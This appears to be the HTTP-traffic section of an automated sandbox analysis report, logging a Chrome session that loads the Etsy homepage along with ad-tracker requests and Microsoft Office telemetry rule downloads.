Source: global traffic	HTTP traffic detected: GET /ac/evergreenVendor/js/en-US/vesta_homepage/bootstrap.9dfe088c54b7c914b716.js HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /paula/v3/polyfill.min.js?etsy-v=v5&flags=gated&features=AbortController%2CDOMTokenList.prototype.@@iterator%2CDOMTokenList.prototype.forEach%2CIntersectionObserver%2CIntersectionObserverEntry%2CNodeList.prototype.@@iterator%2CNodeList.prototype.forEach%2CObject.preventExtensions%2CString.prototype.anchor%2CString.raw%2Cdefault%2Ces2015%2Ces2016%2Ces2017%2Ces2018%2Ces2019%2Ces2020%2Ces2021%2Ces2022%2Cfetch%2CgetComputedStyle%2CmatchMedia%2Cperformance.now HTTP/1.1Host: www.etsy.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /ac/evergreenVendor/js/en-US/vesta_homepage/search_bubbles.a18c2a52381352511211.js HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 1.45sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /include/tags.js HTTP/1.1Host: www.etsy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-platform-version: "10.0.0"dpr: 1downlink: 7.4sec-ch-ua-bitness: "64"sec-ch-dpr: 1ect: 4gsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /21204286/c/1284/1284/0/420/il/531e9f/5248615643/il_300x300.5248615643_jv8f.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /25783849/c/959/959/0/321/il/909220/2764421831/il_200x200.2764421831_bkba.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /16320228/c/2058/2058/0/0/il/4cda38/5716292512/il_300x300.5716292512_oipg.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ac/evergreenVendor/js/en-US/etsy_libs.6f2bc648a336d3e52761.js HTTP/1.1Host: www.etsy.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /25168585/c/1800/1800/298/0/il/e0da11/5460954945/il_300x300.5460954945_9tu4.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5163302/c/2000/2000/0/0/il/a80b5e/4344455650/il_300x300.4344455650_tsbc.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /20059860/r/il/7f8ebb/3254190601/il_300x300.3254190601_2ekg.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /12188102/r/il/e24ab7/6275743143/il_300x300.6275743143_souf.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ac/evergreenVendor/js/en-US/vendor_bundle.051a2557fd322e046abd.js HTTP/1.1Host: www.etsy.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7
Source: global traffic	HTTP traffic detected: GET /37007386/c/1708/1708/159/690/il/66e5b9/4728653338/il_200x200.4728653338_jswh.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /35518631/r/il/e1cf46/6200065849/il_300x300.6200065849_s06d.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /16064614/c/1923/1923/29/288/il/82f9a0/5874767076/il_200x200.5874767076_l73m.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /8622539/r/il/d0e539/4178592230/il_300x300.4178592230_icjm.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /18124409/r/il/88e6b9/5506996893/il_300x300.5506996893_km7m.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ct/core.js HTTP/1.1Host: s.pinimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=8398;g=homepage;gid=34719;ord=1731004351?gtmcb=992407745 HTTP/1.1Host: trkn.usConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr?uuid=1731004351&id=114623403312281&ev=PageView&ud[em]=%27%27%22&cd[page_path]=null&cd[detected_region]=US&fbp=undefined&fbc=undefined HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr?uuid=1731004351&id=297472060462208&ev=PageView&ud[em]=%27%27%22&fbp=undefined&fbc=undefined HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bat.js HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.etsy.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5316916/r/il/b079a8/4370835564/il_600x600.4370835564_i96i.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /25783849/c/959/959/0/321/il/909220/2764421831/il_200x200.2764421831_bkba.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /16320228/c/2058/2058/0/0/il/4cda38/5716292512/il_300x300.5716292512_oipg.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5163302/c/2000/2000/0/0/il/a80b5e/4344455650/il_300x300.4344455650_tsbc.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ac/evergreenVendor/js/en-US/vesta_homepage/search_bubbles.a18c2a52381352511211.js HTTP/1.1Host: www.etsy.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7; _gcl_au=1.1.1464974207.1731004355
Source: global traffic	HTTP traffic detected: GET /35518631/r/il/e1cf46/6200065849/il_300x300.6200065849_s06d.jpg HTTP/1.1Host: i.etsystatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /include/tags.js HTTP/1.1Host: www.etsy.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uaid=VhPVTdyoxIdSBpwQ-nwVejvjR-NjZACCdF32_TC6Wqk0MTNFyUopwzXFydNc19_c0jAgPSkp0sm_yrw8wsLQOyXXT6mWAQA.; user_prefs=tEyJwdCEHIoCFONBbt-kEpuyXlZjZACCdF32_TA6Wik02EVJJ680J0dHKTVPNzRYSUcJRIBFjCAULiKWAQA.; fve=1731004351.0; last_browse_page=https%3A%2F%2Fwww.etsy.com%2F; _fbp=fb.1.1731004351826.5512715151171871; exp_ebid=m=Ww1bBxR%2BnFnkNsgrcgtu3ACYf2Jkq8EqhuTuaHE1mRU%3D,v=F5ac_2y--gqWcQVneon3Kejhi6tZ9zGY; datadome=z6Ckpeljc2g0bTOw4Ks0QynM6lGPX2TFBMn60FoKMYIbOyveGNzSOJjnAcRIwNIYMXBsEqe7OHQFlHTZMRur9m4FcZJGt7o6huGgSpnvPaGksMklgPz2Oe6BZX81W5V7; _gcl_au=1.1.1464974207.1731004355
